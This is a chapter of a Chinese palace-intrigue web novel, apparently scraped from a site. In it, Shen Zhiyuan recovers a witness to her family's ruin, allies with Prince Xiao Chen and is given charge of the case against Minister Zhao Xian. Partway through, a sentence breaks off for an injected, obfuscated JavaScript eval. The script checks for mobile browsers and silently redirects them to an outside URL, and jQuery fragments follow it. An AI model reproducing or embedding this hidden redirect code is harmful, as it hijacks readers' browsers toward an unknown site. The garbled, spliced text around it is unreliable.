初春时节。


    翌日清晨，肃王府门前便来了一辆低调的马车，车上落着素色帘幔，帷后不见真容，只由一名婢女捧着沉甸甸的锦盒上门致意。


    守门的管事正欲拒人，听说来者是摄政王妃派人送来的礼，顿时神色一变，忙请内侍传入内院。


    锦盒被送至肃王书房。


    萧琛手执狼毫正批阅奏章，闻声抬头，望向那静静立于一旁的婢女，眉头微挑。


    “王妃送来的礼？”他语气带着几分讥讽，“她倒有些胆色。”


    婢女跪下叩首：“回王爷，王妃吩咐奴婢亲口转述一句话——‘北院杏花初绽，不若旧游一叙。’”


    萧琛手中笔尖顿住，眸光一凛。


    “退下。”他挥挥手。


    待房中只余下心腹莫弘之时，萧琛才缓缓开口：“杏花……是她？”


    莫弘低声道：“属下当年曾查过，沈府幼女确有一位庶出之女，幼年入青州沈氏旧产寄养，后失踪。时年七岁，与沈知鸢年岁相符。”


    “呵……”萧琛轻笑一声，嗓音低沉，“果然，她不是摄政王随意选来充门面的女子。”


    莫弘道：“属下担心她此举是否有诈。”


    萧琛目光微沉，摩挲着指间玉扳指：“就算有诈，也值得赌一局。她若真是沈家遗脉，能独身涉险入王府，绝非无胆之辈。”


    “着人暗查她近年踪迹，尤其是……她手中是否握有沈家旧账。”萧琛眼中杀意一闪而逝。


    “是。”莫弘退下。


    而与此同时，摄政王府东厢之侧，一盏油灯在隐蔽的内室中摇曳着微光。


    沈知鸢合上手中一页纸，那上面，是密写的京中驿站往来账册。她指尖点在一处名字上，低声呢喃：“顾子卿……你果真还活着。”


    她眸色沉静，指节轻敲案几。


    顾子卿，是沈父旧年下属，掌管南疆盐道密账。当年沈府覆灭，有传言顾子卿已死于狱中，可这份账册却清清楚楚记载着，他三个月前曾自西南口岸入京，落脚于同福客栈，随后便踪迹全无。


    她低声唤道：“春枝。”


    “在。”


    “传信去城南，务必找出顾子卿的下落，不惜一切。”


    “是。”


    沈知鸢望向窗外，暮色苍茫，风送来隐约的梅香。


    京中腥风欲来，而她，已将手伸向漩涡最深处。


    ……


    三日后，春枝带回消息。


    “小姐，人找到了。”


    “在哪？”


    “永乐寺后山，荒庙之中。他……被人重伤，几乎奄奄一息。属下与魏子晋一道才将他救出。”


    沈知鸢面色微变：“立刻备轿，随我前往。”


    永乐寺后山，乃城中荒僻之地，早年兵灾波及，遗民多有流徙，现已杂草蔓延，寂静如荒原。


    沈知鸢赶至时，顾子卿正由魏子晋喂水，整个人瘦得脱形，面容枯槁，但一双眼睛却还透着几分不屈。


    “顾叔。”


    她唤得极轻，顾子卿却猛地睁眼，死死盯着她。


    “你……是瑾瑜？”


    沈知鸢神情微震。


    顾子卿浑身颤抖：“你长大了……你没死……太好了……太好了……”


    沈知鸢跪下为他理好被角：“顾叔，沈家的冤屈，是谁构陷的，我要知道。”


    顾子卿喉头滚动，终于颤声开口：“是……王府旧账。他们逼我篡改盐道账目，栽赃你父亲私吞银两。那一年，我自南疆赶来，将实情密报圣上……却被拦下，打入天牢。”


    “是谁拦下你的？”


    “——是赵宪，是他！他早年投靠暗影堂，早就与摄政王勾结。你父亲察觉此事，才……才被灭口。”


    沈知鸢心头剧震。


    赵宪，是当今户部尚书，亦是肃王死敌，表面忠直，实则暗藏杀机。


    “顾叔，可有证据？”


    顾子卿闭上眼，艰难点头：“天牢狱卒陈慕，是我旧友，他藏有我当年亲笔供词……就藏在……”他声音微弱至极，“藏在……落霞岭，乱石堆下……石缝间，有红布为记……”


    话音未落，顾子卿再无声息。


    沈知鸢按住他的脉搏，低声道：“他只是晕了，春枝，魏子晋，你们护他至东厢密处，唤医者不可留名，不可外泄。”


    “是。”


    夜色已深，她伫立在庙外的枯槐之下，望着满天星斗，手掌微微发冷。


    这一桩旧案，牵扯的不只是摄政王与赵宪，甚至有可能贯通整个朝局。


    她深吸一口气，从袖中取出密信——那是今晨肃王回信。


    【杏花未败，旧游犹存。王妃若愿同行，孤自当倾力一助。】


    落款是一个清冷的印章：琛。


    沈知鸢缓缓摩挲那字迹，良久，唇角缓缓扬起一抹似有若无的笑。


    ——很好。


    第一步棋，已然落定。


    ……


    一月后。


    朝堂风向突变，京中忽传赵宪私吞盐税、包庇流贼之说，言之凿凿，言官连上三疏，请求彻查户部。


    皇帝龙颜震怒，命摄政王亲审此案。


    而摄政王，却将审案之责，分派于王妃沈氏。


    朝堂哗然。


    女子主案，前所未有。


    赵宪闻讯之日，竟当庭失控：“一介妇人，如何理政？她父叛国之罪尚未洗清，如今却主审吾案？陛下，臣不服！”


    皇帝冷冷一瞥，缓缓道：“摄政王妃既已入王府，便是国中母仪，断案公允，岂容质疑？若赵卿真清白，又何惧女子持笔？”


    赵宪闻言，气血逆涌，竟仰首喷出一口血来。


    沈知鸢立于殿下，行礼而退，衣袂翻飞，目光清冷。


    她终于，站上了这朝堂之巅。


    这一局，尚未终了。


    ——


    春风拂檐，宫墙之内却风声鹤唳。


    沈知鸢主审赵宪一案的消息，如惊雷劈下，朝中掀起千重浪。文官百执，或暗中观望，或悄然结党，唯有一人，于风浪中央，泰然不动。


    肃王萧琛。


    东宫之侧，凝香阁中，沈知鸢独坐红榻，目光落在案上一页罪状薄卷，薄卷之中写着赵宪任户部侍郎期间，曾以灾赈为名，虚造赈银去向，实则流入西北某军镇。银额高达十五万两。


    她抬眼：“魏


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576075|165550||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子晋，这批银子，可查出用途？”


    魏子晋躬身应道：“属下追查至西北军镇，在档册中找到一笔‘兵甲修缮’的名目，但无实据显示银子真正流向。有人刻意掩盖。”


    “军镇指挥是谁？”


    “周曜。”


    沈知鸢指尖微顿。


    周曜，乃肃王旧部，如今镇守西北，与萧琛往来极少，甚至传言两人早年有隙。若赵宪之银落入其手，这其中便有两种可能——一是周曜私吞，一是赵宪故意栽赃。


    她沉吟半晌，道：“调周曜近五年调兵遣银之卷宗，另派人探查周曜与赵宪私下是否有交集。”


    “是。”


    沈知鸢捻笔蘸墨，信手批注一行字于卷末：


    “赵宪三年前已知暗影堂渗入西北，若其故意将赈银引入军中，恐另有图谋——”


    她顿笔，眼神一凛。


    春枝悄然入内，低声道：“王妃，宫中来人，请您即刻入午门御堂，圣上召见。”


    沈知鸢略一点头，旋身而起，将笔卷收妥随身，抬步走出凝香阁。


    御堂寒意未散，皇帝面色冷峻。


    “你主审赵宪，查得如何？”


    沈知鸢行礼：“启禀陛下，赵宪所涉，不止银账一案。臣妾查得三年前，赵宪曾以‘边患为忧’之名，调拨银粮入西北军镇，实则其中部分消失无踪，或流入暗影堂之手。”


    皇帝冷笑一声：“暗影堂……这股毒流，竟渗至朝廷命脉。”


    沈知鸢沉声道：“更奇者，赵宪当年仕途突飞猛进，与朝中数位高官仕序交错相连。若要彻查，恐引动朝堂根基。”


    皇帝眸中寒光一闪：“你欲退？”


    沈知鸢不卑不亢：“臣妾非退，却须先断其羽，稳步深入。若贸然牵动全局，恐惊蛇入林，反遭反噬。”


    皇帝默然片刻，道：“此案，朕准你全权主理，不得假他人手。若有阻者，着锦衣卫听你节制。”


    “谢陛下。”


    沈知鸢退下御堂，面容不显波澜，唯有袖中紧握的指节微白。


    自此一刻起，她不再只是王府妃子，而是皇帝钦定的清理暗流之刃。


    ……


    夜风袭来，王府密室灯火未熄。


    沈知鸢摊开赵宪任上批阅公文，其中一页之上落款潦草，但印痕微妙——并非户部专印，而似为私印。


    她拿出密封拓印，反复比对，心中一震。


    那是齐怀义的印。


    齐怀义，乃礼部尚书，素与赵宪政见相左，但沈知鸢清楚记得，三日前齐怀义在朝上曾言“赵宪素来不近权谋，冤案恐成”。此言虽轻，却刻意引导风向。


    春枝进来：“王妃，肃王府来人。”


    沈知鸢眉动，道：“请。”


    片刻后，肃王萧琛身着玄衣入内，眼含戏意：“王妃似已将这府邸改作断案之所，倒不如搬入御史。”


    沈知鸢神色淡淡：“肃王深夜至此，若非专为讥讽，当有他事。”


    萧琛走近案前，低头看那印痕残页，轻声笑了：“齐怀义之印。他向来手法稳妥，怎会留痕？”


    沈知鸢看向他：“我亦不信。但若这不是他失误……”